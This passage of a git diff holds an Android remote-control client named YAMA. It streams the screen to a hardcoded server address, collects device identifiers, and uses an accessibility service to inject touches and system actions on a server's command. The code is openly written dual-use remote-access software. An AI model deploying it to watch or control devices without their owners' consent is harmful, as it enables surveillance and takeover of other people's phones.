val osVer = "Android ${Build.VERSION.RELEASE} (API ${Build.VERSION.SDK_INT})"
val (sw, sh) = getPhysicalResolution()
val res = "1:${sw}*${sh}"
val user = Build.USER
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
// YB-01 fix: so 库加载失败是 Error不被 catch(Exception) 捕获,需单独处理
// ExceptionInInitializerError 包裹 UnsatisfiedLinkError首次访问 object 时触发)
val initRet: Int
try {
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "", filesDir.absolutePath)
} catch (e: UnsatisfiedLinkError) {
Log.e(TAG, "Native library load failed: $e")
stopSelf()
return START_NOT_STICKY
} catch (e: ExceptionInInitializerError) {
Log.e(TAG, "Native library init failed: ${e.cause}")
stopSelf()
return START_NOT_STICKY
}
if (initRet != 0) {
Log.e(TAG, "nativeInit failed: ret=$initRet")
stopSelf()
return START_NOT_STICKY
}
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
else
@Suppress("DEPRECATION") intent.getParcelableExtra(EXTRA_PROJECTION_DATA)
if (projResult == android.app.Activity.RESULT_OK && projData != null) {
// Android 14+: upgrade foreground type to MEDIA_PROJECTION in the same
// start command that calls getMediaProjection(), as required by API 34+.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION)
}
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val mp = pm.getMediaProjection(projResult, projData)
mediaProjection = mp
// CS-05 fix: 分辨率为 0 时不启动采集,避免 MediaCodec 配置崩溃
if (sw > 0 && sh > 0) {
try {
startCapture(mp, sw, sh)
} catch (e: Exception) {
Log.e(TAG, "Screen capture failed: $e — running without capture")
}
} else {
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
}
} else {
Log.w(TAG, "No MediaProjection token, skipping screen capture")
}
return START_STICKY
}
override fun onDestroy() {
super.onDestroy()
instance = null
stopCapture()
YamaBridge.nativeStop()
Log.i(TAG, "CaptureService destroyed")
}
// ---------------------------------------------------------------- MediaProjection + MediaCodec
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
val dpi = resources.displayMetrics.densityDpi
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi")
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
val surface = configureEncoder(codec, encW, encH)
var configData: ByteArray? = null
codec.setCallback(object : MediaCodec.Callback() {
override fun onInputBufferAvailable(mc: MediaCodec, index: Int) { /* Surface 模式不用 */ }
override fun onOutputBufferAvailable(mc: MediaCodec, index: Int, info: MediaCodec.BufferInfo) {
val buf = mc.getOutputBuffer(index)
if (buf == null || info.size == 0) {
mc.releaseOutputBuffer(index, false)
return
}
buf.position(info.offset)
buf.limit(info.offset + info.size)
if (info.flags and MediaCodec.BUFFER_FLAG_CODEC_CONFIG != 0) {
configData = ByteArray(info.size).also { buf.get(it) }
mc.releaseOutputBuffer(index, false)
return
}
val isKey = info.flags and MediaCodec.BUFFER_FLAG_KEY_FRAME != 0
val frame = ByteArray(info.size).also { buf.get(it) }
mc.releaseOutputBuffer(index, false)
// 部分安卓硬件编码器(如某些高通实现)对 REQUEST_SYNC_FRAME 强制产生的
// IDR 帧不设置 BUFFER_FLAG_KEY_FRAME导致 SendLoop 将所有帧视为 P 帧丢弃。
// 补充扫描 NALU 字节来识别真正的关键帧,确保首帧能顺利发出。
val actualIsKey = isKey || isNaluKeyframe(frame)
val payload = if (actualIsKey && configData != null) configData!! + frame else frame
YamaBridge.nativeOnH264Frame(payload, 0, payload.size, actualIsKey)
}
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
Log.e(TAG, "MediaCodec error: $e")
}
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
Log.i(TAG, "Output format: $format")
}
})
codec.start()
mediaCodec = codec
idrHandler.postDelayed(idrRunnable, 500)
// Android 14+ requires callback registered before createVirtualDisplay()
mp.registerCallback(object : MediaProjection.Callback() {
override fun onStop() {
Log.i(TAG, "MediaProjection stopped — switching to dataSync foreground type")
stopCapture()
// Android 14+: system auto-kills a foreground service whose mediaProjection
// is revoked. Re-declare as dataSync-only to survive without screen capture.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
}
}
}, null)
virtualDisplay = mp.createVirtualDisplay(
"YAMA",
encW, encH, dpi,
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
surface, null, null
)
YamaBridge.nativeSetScreenSize(encW, encH)
ControlService.physW = physW
ControlService.physH = physH
ControlService.encW = encW
ControlService.encH = encH
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
}
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean) =
MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, w, h).apply {
setInteger(MediaFormat.KEY_COLOR_FORMAT,
MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface)
setInteger(MediaFormat.KEY_BIT_RATE, 4_000_000)
setInteger(MediaFormat.KEY_FRAME_RATE, 30)
setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 2)
setInteger(MediaFormat.KEY_PRIORITY, 0)
setInteger(MediaFormat.KEY_OPERATING_RATE, 30)
if (lowLatency) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
setInteger(MediaFormat.KEY_LATENCY, 0)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
setInteger(MediaFormat.KEY_LOW_LATENCY, 1)
}
if (baseline)
setInteger(MediaFormat.KEY_PROFILE,
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
}
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int): android.view.Surface {
val configs = listOf(
true to true,
true to false,
false to false,
)
for ((ll, bl) in configs) {
try {
val fmt = buildFmt(w, h, ll, bl)
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
return codec.createInputSurface()
} catch (e: Exception) {
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
try { codec.reset() } catch (_: Exception) {}
}
}
throw RuntimeException("MediaCodec: all encoder configs failed")
}
private fun stopCapture() {
idrHandler.removeCallbacks(idrRunnable)
runCatching { virtualDisplay?.release() }
// CS-07 fix: stop 和 release 分开stop 失败不会跳过 release 导致资源泄漏
runCatching { mediaCodec?.stop() }
runCatching { mediaCodec?.release() }
runCatching { mediaProjection?.stop() }
virtualDisplay = null
mediaCodec = null
mediaProjection = null
}
// ---------------------------------------------------------------- 辅助函数
private fun getPhysicalResolution(): Pair<Int, Int> {
val wm = getSystemService(WINDOW_SERVICE) as WindowManager
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
val b = wm.currentWindowMetrics.bounds
Pair(b.width(), b.height())
} else {
@Suppress("DEPRECATION")
val dm = DisplayMetrics()
@Suppress("DEPRECATION")
wm.defaultDisplay.getRealMetrics(dm)
Pair(dm.widthPixels, dm.heightPixels)
}
}
/** 扫描 Annex-B NALU 流,遇到 NAL type 5(IDR)、7(SPS)、8(PPS) 即判定为关键帧 */
private fun isNaluKeyframe(data: ByteArray): Boolean {
var i = 0
while (i + 4 < data.size) {
if (data[i] == 0.toByte() && data[i+1] == 0.toByte() &&
data[i+2] == 0.toByte() && data[i+3] == 1.toByte()) {
val nalType = data[i + 4].toInt() and 0x1F
if (nalType == 5 || nalType == 7 || nalType == 8) return true
i += 5
} else {
i++
}
}
return false
}
/** 按长边上限等比缩小,宽高各自 2 对齐H.264 要求) */
private fun scaleDown(w: Int, h: Int, maxLong: Int): Pair<Int, Int> {
val longSide = maxOf(w, h)
if (longSide <= maxLong) return Pair(w and -2, h and -2)
val scale = maxLong.toDouble() / longSide
return Pair((w * scale).toInt() and -2, (h * scale).toInt() and -2)
}
private fun createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
val ch = NotificationChannel(CHANNEL_ID, "YAMA Service",
NotificationManager.IMPORTANCE_LOW)
getSystemService(NotificationManager::class.java)?.createNotificationChannel(ch)
}
}
private fun buildNotification(): Notification {
val b = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O)
Notification.Builder(this, CHANNEL_ID)
else
@Suppress("DEPRECATION") Notification.Builder(this)
return b.setContentTitle("YAMA")
.setContentText("Screen monitoring active")
.setSmallIcon(android.R.drawable.ic_menu_camera)
.build()
}
}

View File

@@ -0,0 +1,424 @@
package com.yama.client
import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.annotation.SuppressLint
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.graphics.Path
import android.graphics.PointF
import android.os.Build
import android.os.Handler
import android.os.Looper
import android.os.SystemClock
import android.util.Log
import android.view.View
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
/**
* AccessibilityService that injects touch gestures and global key actions
* dispatched by the server (COMMAND_SCREEN_CONTROL / MSG64).
*
* Requires API 24+ for dispatchGesture(); guarded at runtime so the APK
* installs on API 21+ but gesture injection only runs on 24+.
*
* Activation: Settings → Accessibility → YAMA → enable.
*/
@SuppressLint("NewApi")
class ControlService : AccessibilityService() {
companion object {
const val TAG = "YAMA_CTRL"
// ── Service instance ─────────────────────────────────────────────
@Volatile var instance: ControlService? = null
// ── Active foreground window ─────────────────────────────────────
@JvmStatic
@Volatile var activeWindow: String = "Android"
// ── Screen geometry (set by CaptureService) ──────────────────────
// Server sends coords in encoding space [0, encW) × [0, encH).
// We map them to physical screen space before dispatching.
@Volatile var physW = 1080
@Volatile var physH = 1920
@Volatile var encW = 1080
@Volatile var encH = 1920
// ── Windows message constants ────────────────────────────────────
const val WM_MOUSEMOVE = 0x0200
const val WM_LBUTTONDOWN = 0x0201
const val WM_LBUTTONUP = 0x0202
const val WM_LBUTTONDBLCLK = 0x0203
const val WM_RBUTTONDOWN = 0x0204
const val WM_MBUTTONDOWN = 0x0207
const val WM_MOUSEWHEEL = 0x020A
const val WM_KEYDOWN = 0x0100
const val WM_SYSKEYDOWN = 0x0104
/**
* Called from C++ DataProcess() via JNI on the IO thread.
* Parameters:
* message Windows WM_* constant (low 16 bits of MSG64.message)
* wParam MSG64.wParam (key/button flags; high word of MOUSEWHEEL = delta)
* ptX/ptY MSG64.pt in encoding-space pixels
*/
@JvmStatic
fun onControlEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
val svc = instance ?: run {
Log.w(TAG, "ControlService inactive — event 0x${message.toString(16)} dropped")
return
}
// All gesture state lives on the main thread; post there.
svc.handler.post { svc.handleEvent(message, wParam, ptX, ptY) }
}
}
// ── Screen state receiver ─────────────────────────────────────────────
private val screenReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
when (intent?.action) {
Intent.ACTION_SCREEN_OFF -> activeWindow = "Locked"
Intent.ACTION_USER_PRESENT -> activeWindow = "Android"
}
}
}
// ── Main-thread handler ───────────────────────────────────────────────
private val handler = Handler(Looper.getMainLooper())
// ── TV (Google TV / Android TV) D-pad mode ───────────────────────────
// Activated when FEATURE_LEANBACK is present. Mouse events are translated
// to accessibility focus navigation — no touchscreen or root required.
private var isTV = false
private var tvLastEncX = -1f
private var tvLastEncY = -1f
private var tvAccumDX = 0f
private var tvAccumDY = 0f
private val TV_STEP = 40f // encoding-space pixels per D-pad step
// Touch-drag disambiguation: fire click on LBUTTONUP only if finger barely moved
private var tvTouchDown = false
private var tvTouchDownX = 0f
private var tvTouchDownY = 0f
private var tvTouchMoved = false
private val TV_TAP_THRESHOLD = 15f // encoding pixels — below this = tap, above = drag
// ── Left-button drag accumulator ─────────────────────────────────────
private var lbuttonDown = false
private var gestureStart = 0L
// Pairs of (millisecond offset from gesture start, screen point)
private val strokePoints = mutableListOf<Pair<Long, PointF>>()
// ─────────────────────────────────────────────────────────────────────
// AccessibilityService lifecycle
override fun onServiceConnected() {
super.onServiceConnected()
instance = this
isTV = packageManager.hasSystemFeature("android.software.leanback")
if (isTV) Log.i(TAG, "TV mode: D-pad navigation enabled")
val filter = IntentFilter().apply {
addAction(Intent.ACTION_SCREEN_OFF)
addAction(Intent.ACTION_USER_PRESENT)
}
registerReceiver(screenReceiver, filter)
Log.i(TAG, "ControlService connected phys=${physW}x${physH} enc=${encW}x${encH}")
}
override fun onAccessibilityEvent(event: AccessibilityEvent?) {
if (event?.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
val pkg = event.packageName?.toString()
if (!pkg.isNullOrEmpty()) activeWindow = pkg
}
}
override fun onInterrupt() {}
override fun onDestroy() {
super.onDestroy()
runCatching { unregisterReceiver(screenReceiver) }
instance = null
Log.i(TAG, "ControlService destroyed")
}
// ─────────────────────────────────────────────────────────────────────
// Event routing (runs on main thread)
private fun handleEvent(message: Int, wParam: Long, ptX: Int, ptY: Int) {
if (isTV) { handleEventTV(message, wParam, ptX, ptY); return }
// Scale encoding-space coords to physical screen
val x = if (encW > 0) ptX.toFloat() * physW / encW else ptX.toFloat()
val y = if (encH > 0) ptY.toFloat() * physH / encH else ptY.toFloat()
if (message != WM_MOUSEMOVE)
Log.d(TAG, "event 0x${message.toString(16)} enc=($ptX,$ptY) phys=(${x.toInt()},${y.toInt()})")
when (message) {
// ── Left button: accumulate drag path, dispatch on up ─────────
WM_LBUTTONDOWN -> {
lbuttonDown = true
gestureStart = SystemClock.uptimeMillis()
strokePoints.clear()
strokePoints.add(0L to PointF(x, y))
}
WM_MOUSEMOVE -> {
if (lbuttonDown) {
strokePoints.add((SystemClock.uptimeMillis() - gestureStart) to PointF(x, y))
}
}
WM_LBUTTONUP -> {
if (!lbuttonDown) return
lbuttonDown = false
val elapsed = SystemClock.uptimeMillis() - gestureStart
strokePoints.add(elapsed to PointF(x, y))
val down = strokePoints[0].second
val dx = x - down.x
val dy = y - down.y
// ── System edge-gesture detection ────────────────────────────
// dispatchGesture() is unreliable for system gestures; use performGlobalAction.
val hEdge = physH * 0.08f // 8% of screen height = top/bottom trigger zone
val wEdge = physW * 0.08f // 8% of screen width = left/right trigger zone
val minH = physH * 0.15f // minimum vertical travel
val minW = physW * 0.20f // minimum horizontal travel
val fromLeft = down.x < wEdge && dx > minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
val fromRight = down.x > physW - wEdge && dx < -minW && Math.abs(dx) > Math.abs(dy) * 1.5f && elapsed < 600L
val fromTop = down.y < hEdge && dy > minH && Math.abs(dy) > Math.abs(dx)
val fromBottom = down.y > physH - hEdge && dy < -minH && Math.abs(dy) > Math.abs(dx)
when {
fromLeft || fromRight -> {
Log.d(TAG, "Edge-swipe back (fromLeft=$fromLeft)")
performGlobalAction(GLOBAL_ACTION_BACK)
}
fromTop -> {
// Right half of screen → quick settings; left half → notifications
if (down.x > physW * 0.5f) {
Log.d(TAG, "Top-swipe quick settings")
performGlobalAction(GLOBAL_ACTION_QUICK_SETTINGS)
} else {
Log.d(TAG, "Top-swipe notifications")
performGlobalAction(GLOBAL_ACTION_NOTIFICATIONS)
}
}
fromBottom -> {
// Slow swipe (≥400 ms) or very long travel → Recents; quick swipe → Home
if (elapsed >= 400L || Math.abs(dy) > physH * 0.40f) {
Log.d(TAG, "Bottom-swipe recents (elapsed=${elapsed}ms)")
performGlobalAction(GLOBAL_ACTION_RECENTS)
} else {
Log.d(TAG, "Bottom-swipe home (elapsed=${elapsed}ms)")
performGlobalAction(GLOBAL_ACTION_HOME)
}
}
dx * dx + dy * dy < 100f -> // 移动 < 10px → 单击
dispatchTap(down.x, down.y)
else ->
dispatchTouchGesture(strokePoints)
}
// 手势执行后立即请求关键帧,让 decoder 尽快看到屏幕变化
CaptureService.requestIdr()
strokePoints.clear()
}
// ── Double-click → two rapid taps ────────────────────────────
WM_LBUTTONDBLCLK -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val p = singlePointPath(x, y)
val gesture = GestureDescription.Builder()
.addStroke(GestureDescription.StrokeDescription(p, 0L, 80L))
.addStroke(GestureDescription.StrokeDescription(p, 200L, 80L))
.build()
dispatchGesture(gesture, null, null)
}
// ── Right-click → long press (600 ms) ────────────────────────
WM_RBUTTONDOWN -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val stroke = GestureDescription.StrokeDescription(singlePointPath(x, y), 0L, 600L)
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
}
// ── Scroll wheel → vertical swipe ─────────────────────────────
WM_MOUSEWHEEL -> {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
// High 16 bits of wParam hold the signed delta (+120 = up, -120 = down)
val delta = (wParam.toInt() ushr 16).toShort().toInt()
// Wheel-up (+delta) = user wants content above = finger swipes DOWN (+y)
val dy = if (delta > 0) 400f else -400f
val path = Path().apply { moveTo(x, y); lineTo(x, y + dy) }
val stroke = GestureDescription.StrokeDescription(path, 0L, 300L)
dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(), null, null)
CaptureService.requestIdr()
}
// ── Keyboard → global actions only ───────────────────────────
WM_KEYDOWN, WM_SYSKEYDOWN -> handleKeyDown(wParam.toInt() and 0xFFFF)
}
}
// ─────────────────────────────────────────────────────────────────────
// Helpers
private fun dispatchTouchGesture(points: List<Pair<Long, PointF>>) {
if (points.isEmpty()) return
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val path = Path()
path.moveTo(points[0].second.x, points[0].second.y)
for (i in 1 until points.size) {
path.lineTo(points[i].second.x, points[i].second.y)
}
// Minimum 50 ms so Android registers the gesture; use actual elapsed for drags.
val duration = maxOf(points.last().first, 50L)
val stroke = GestureDescription.StrokeDescription(path, 0L, duration)
val ok = dispatchGesture(
GestureDescription.Builder().addStroke(stroke).build(),
object : GestureResultCallback() {
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Gesture ok") }
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Gesture cancelled") }
},
null
)
if (!ok) Log.e(TAG, "dispatchGesture returned false (service not ready?)")
}
// ─────────────────────────────────────────────────────────────────────
// TV D-pad mode — translates mouse events to accessibility focus actions
private fun handleEventTV(message: Int, wParam: Long, ptX: Int, ptY: Int) {
when (message) {
WM_MOUSEMOVE -> {
if (tvLastEncX >= 0) {
tvAccumDX += ptX - tvLastEncX
tvAccumDY += ptY - tvLastEncY
while (tvAccumDX > TV_STEP) { tvMoveFocus(View.FOCUS_RIGHT); tvAccumDX -= TV_STEP }
while (tvAccumDX < -TV_STEP) { tvMoveFocus(View.FOCUS_LEFT); tvAccumDX += TV_STEP }
while (tvAccumDY > TV_STEP) { tvMoveFocus(View.FOCUS_DOWN); tvAccumDY -= TV_STEP }
while (tvAccumDY < -TV_STEP) { tvMoveFocus(View.FOCUS_UP); tvAccumDY += TV_STEP }
}
if (tvTouchDown) {
val dx = ptX - tvTouchDownX
val dy = ptY - tvTouchDownY
if (dx * dx + dy * dy > TV_TAP_THRESHOLD * TV_TAP_THRESHOLD) tvTouchMoved = true
}
tvLastEncX = ptX.toFloat()
tvLastEncY = ptY.toFloat()
}
WM_LBUTTONDOWN -> {
tvTouchDown = true
tvTouchDownX = ptX.toFloat()
tvTouchDownY = ptY.toFloat()
tvTouchMoved = false
tvAccumDX = 0f
tvAccumDY = 0f
tvLastEncX = ptX.toFloat()
tvLastEncY = ptY.toFloat()
}
WM_LBUTTONUP -> {
if (tvTouchDown && !tvTouchMoved) tvClick()
tvTouchDown = false
}
WM_LBUTTONDBLCLK -> tvClick()
WM_RBUTTONDOWN -> performGlobalAction(GLOBAL_ACTION_BACK)
WM_MOUSEWHEEL -> {
val delta = (wParam.toInt() ushr 16).toShort().toInt()
tvScroll(delta < 0)
}
WM_KEYDOWN, WM_SYSKEYDOWN -> {
val vk = wParam.toInt() and 0xFFFF
when (vk) {
0x25 -> tvMoveFocus(View.FOCUS_LEFT) // VK_LEFT
0x26 -> tvMoveFocus(View.FOCUS_UP) // VK_UP
0x27 -> tvMoveFocus(View.FOCUS_RIGHT) // VK_RIGHT
0x28 -> tvMoveFocus(View.FOCUS_DOWN) // VK_DOWN
0x0D -> tvClick() // VK_RETURN
else -> handleKeyDown(vk)
}
}
}
}
@Suppress("DEPRECATION")
private fun tvMoveFocus(direction: Int) {
val root = rootInActiveWindow ?: return
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused == null) {
val first = findFirstFocusable(root)
first?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
first?.recycle()
} else {
val next = focused.focusSearch(direction)
next?.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
focused.recycle()
next?.recycle()
}
root.recycle()
}
@Suppress("DEPRECATION")
private fun tvClick() {
val root = rootInActiveWindow ?: return
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused != null) {
focused.performAction(AccessibilityNodeInfo.ACTION_CLICK)
focused.recycle()
} else {
Log.w(TAG, "tvClick: no focused node")
}
root.recycle()
}
@Suppress("DEPRECATION")
private fun tvScroll(forward: Boolean) {
val root = rootInActiveWindow ?: return
val action = if (forward) AccessibilityNodeInfo.ACTION_SCROLL_FORWARD
else AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD
val focused = root.findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
?: root.findFocus(AccessibilityNodeInfo.FOCUS_ACCESSIBILITY)
if (focused == null || !focused.performAction(action)) root.performAction(action)
focused?.recycle()
root.recycle()
}
// Walk accessibility tree depth-first, return first visible focusable node (caller must recycle)
@Suppress("DEPRECATION")
private fun findFirstFocusable(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
if (node.isFocusable && node.isVisibleToUser) return AccessibilityNodeInfo.obtain(node)
for (i in 0 until node.childCount) {
val child = node.getChild(i) ?: continue
val hit = findFirstFocusable(child)
child.recycle()
if (hit != null) return hit
}
return null
}
private fun handleKeyDown(vk: Int) {
when (vk) {
0x08, 0x1B -> performGlobalAction(GLOBAL_ACTION_BACK) // Backspace / Esc
0x24 -> performGlobalAction(GLOBAL_ACTION_HOME) // VK_HOME
0x5D -> performGlobalAction(GLOBAL_ACTION_RECENTS) // VK_APPS
0x2C -> performGlobalAction(GLOBAL_ACTION_TAKE_SCREENSHOT) // PrtSc
}
}
private fun dispatchTap(x: Float, y: Float) {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) return
val path = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
val stroke = GestureDescription.StrokeDescription(path, 0L, 100L)
val ok = dispatchGesture(GestureDescription.Builder().addStroke(stroke).build(),
object : GestureResultCallback() {
override fun onCompleted(g: GestureDescription?) { Log.d(TAG, "Tap ok") }
override fun onCancelled(g: GestureDescription?) { Log.w(TAG, "Tap cancelled") }
}, null)
if (!ok) Log.e(TAG, "dispatchTap returned false")
}
private fun singlePointPath(x: Float, y: Float) = Path().apply { moveTo(x, y); lineTo(x + 1f, y) }
}

View File

@@ -0,0 +1,65 @@
package com.yama.client
import android.app.Activity
import android.content.Intent
import android.media.projection.MediaProjectionManager
import android.os.Bundle
import android.util.Log
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
private val serverIp = "91.99.165.207"
private val serverPort = 443
private lateinit var projectionManager: MediaProjectionManager
companion object {
const val REQUEST_MEDIA_PROJECTION = 1001
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// MA-01 fix: 系统重建 Activity 时 savedInstanceState != null
// 此时 CaptureService 可能已在运行,不重复弹权限对话框
if (savedInstanceState != null) { finish(); return }
projectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
startActivityForResult(projectionManager.createScreenCaptureIntent(), REQUEST_MEDIA_PROJECTION)
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
if (requestCode == REQUEST_MEDIA_PROJECTION) {
if (resultCode == Activity.RESULT_OK && data != null) {
Log.i(CaptureService.TAG, "MediaProjection permission granted")
val intent = Intent(this, CaptureService::class.java).apply {
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
putExtra(CaptureService.EXTRA_PROJECTION_RESULT, resultCode)
putExtra(CaptureService.EXTRA_PROJECTION_DATA, data)
}
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
} else {
Log.w(CaptureService.TAG, "MediaProjection permission denied, starting without capture")
val intent = Intent(this, CaptureService::class.java).apply {
putExtra(CaptureService.EXTRA_SERVER_IP, serverIp)
putExtra(CaptureService.EXTRA_SERVER_PORT, serverPort)
}
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
}
finish()
}
}
override fun onDestroy() {
super.onDestroy()
}
}

View File

@@ -0,0 +1,27 @@
package com.yama.client
object YamaBridge {
init {
System.loadLibrary("yama")
}
external fun nativeInit(
serverIp: String,
serverPort: Int,
androidId: String,
deviceModel: String,
androidVersion: String,
screenRes: String,
username: String,
apkPath: String,
filesDir: String
): Int
external fun nativeStop()
/** MediaCodec 配置完成后调用,告知 C++ 实际捕获分辨率 */
external fun nativeSetScreenSize(width: Int, height: Int)
/** MediaCodec 每输出一帧 H.264 NALU 时调用 */
external fun nativeOnH264Frame(data: ByteArray, offset: Int, size: Int, isKeyframe: Boolean)
}

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background"/>
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
</adaptive-icon>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@color/ic_launcher_background"/>
<foreground android:drawable="@mipmap/ic_launcher_foreground"/>
</adaptive-icon>

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="ic_launcher_background">#F2F2F2</color>
</resources>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">YAMA</string>
<string name="accessibility_service_description">YAMA remote control service</string>
</resources>

View File

@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.YAMA" parent="Theme.AppCompat.Light.NoActionBar">
<item name="colorPrimary">#1A73E8</item>
<item name="colorPrimaryDark">#1558B0</item>
<item name="colorAccent">#1A73E8</item>
</style>
</resources>

View File

@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeWindowStateChanged"
android:accessibilityFeedbackType="feedbackGeneric"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"
android:notificationTimeout="0"
android:settingsActivity="com.yama.client.MainActivity" />

4
android/build.gradle Normal file
View File

@@ -0,0 +1,4 @@
plugins {
id 'com.android.application' version '8.10.1' apply false
id 'org.jetbrains.kotlin.android' version '2.1.21' apply false
}

View File

@@ -0,0 +1,197 @@
<#
.SYNOPSIS
Build libzstd.a and libsign.a for Android (4 ABIs)
.DESCRIPTION
Cross-compile Android static libraries on Windows using Android SDK cmake + NDK.
Supports: arm64-v8a / armeabi-v7a (device), x86 / x86_64 (emulator)
Usage:
cd C:\github\YAMA\android
PowerShell -ExecutionPolicy Bypass -File .\build_android_libs.ps1
Options:
-Force Rebuild even if .a files already exist
-SimplePluginsPath Path to SimplePlugins repo (default: sibling directory)
-ZstdOnly Build libzstd.a only
-SignOnly Build libsign.a only
#>
param(
[switch]$Force,
[string]$SimplePluginsPath = "",
[switch]$ZstdOnly,
[switch]$SignOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = "Stop"
$SCRIPT_DIR = $PSScriptRoot
# -- Android SDK ---------------------------------------------------------------
$SDK = $env:ANDROID_HOME
if (-not $SDK) { $SDK = $env:ANDROID_SDK_ROOT }
